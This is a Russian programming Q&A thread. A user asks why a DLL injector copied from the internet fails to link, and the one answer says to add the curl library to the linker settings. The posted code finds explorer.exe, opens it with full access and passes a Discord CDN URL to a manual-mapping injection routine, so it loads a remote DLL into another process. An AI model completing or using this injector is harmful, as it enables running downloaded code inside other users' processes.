@QwEEzeR

Ошибка ссылка на резрешенный внешний символ, как исправить в c++?

Как исрпавить это?

Инджектор длл с интернета, не могу скомпилировать и решить проблему

main.cpp
#include "injection.h"


const char szProc[] = "explorer.exe"; // название процесса
const char DllURL[] = "https://cdn.discordapp.com/attachments/0000000000000000000/0000000000000000000/test.dll"; // ссылка на длл

int main() {
	PROCESSENTRY32 PE32{ 0 };
	PE32.dwSize = sizeof(PE32);

	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnap == INVALID_HANDLE_VALUE) {
		printf("[-] CreateToolhelp32Snapshot error: 0x%X\n", GetLastError());
		system("PAUSE");
		return 0;
	}

	DWORD PID = 0;
	BOOL bRet = Process32First(hSnap, &PE32);
	while (bRet) {
		if (!strcmp(szProc, PE32.szExeFile)) {
			PID = PE32.th32ProcessID;
			break;
		}
		bRet = Process32Next(hSnap, &PE32);
	}

	CloseHandle(hSnap);

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	if (!hProc) {
		printf("[-] OpenProcess error: 0x%X\n", GetLastError());
		system("PAUSE");
		return 0;
	}

	if (!ManualMap(hProc, DllURL)) {
		printf("[-] Injection error\n");
		CloseHandle(hProc);
		system("PAUSE");
		return 0;
	}

	CloseHandle(hProc);

	printf("[+] Injected!\n");
	system("PAUSE");

	return 0;
}


Injection.h
#pragma once
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <TlHelp32.h>
#include </Curl/curl.h>

using f_LoadLibraryA = HINSTANCE(WINAPI*)(const char* lpLibFilename);
using f_GetProcAddress = FARPROC(WINAPI*)(HMODULE hModule, LPCSTR lpProcName);
using f_DLL_ENTRY_POINT = BOOL(WINAPI*)(void* hDll, DWORD dwReason, void* pReserved);
using f_RtlAddFunctionTable = BOOL(WINAPIV*)(PRUNTIME_FUNCTION FunctionTable, DWORD EntryCount, DWORD64 BaseAddress);

struct MANUAL_MAPPING_DATA {
	f_LoadLibraryA pLoadLibraryA;
	f_GetProcAddress pGetProcAddress;
	f_RtlAddFunctionTable pRtlAddFunctionTable;
	BYTE* pbase;
	HINSTANCE hMod;
	DWORD fdwReasonParam;
	LPVOID reservedParam;
	BOOL SEHSupport;
};

bool ManualMap(HANDLE hProc, const char* DllURL);
void __stdcall Shellcode(MANUAL_MAPPING_DATA* pData);
  • Вопрос задан
  • 67 просмотров
Решения вопроса 1
wataru
@wataru Куратор тега C++
Разработчик на С++, экс-олимпиадник.
Судя по ошибке, оно не может найти определение внутренних функций curl.

Почитайте документацию библиотеки, надо в свойствах проекта добавить библиотеку curl линкеру.
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы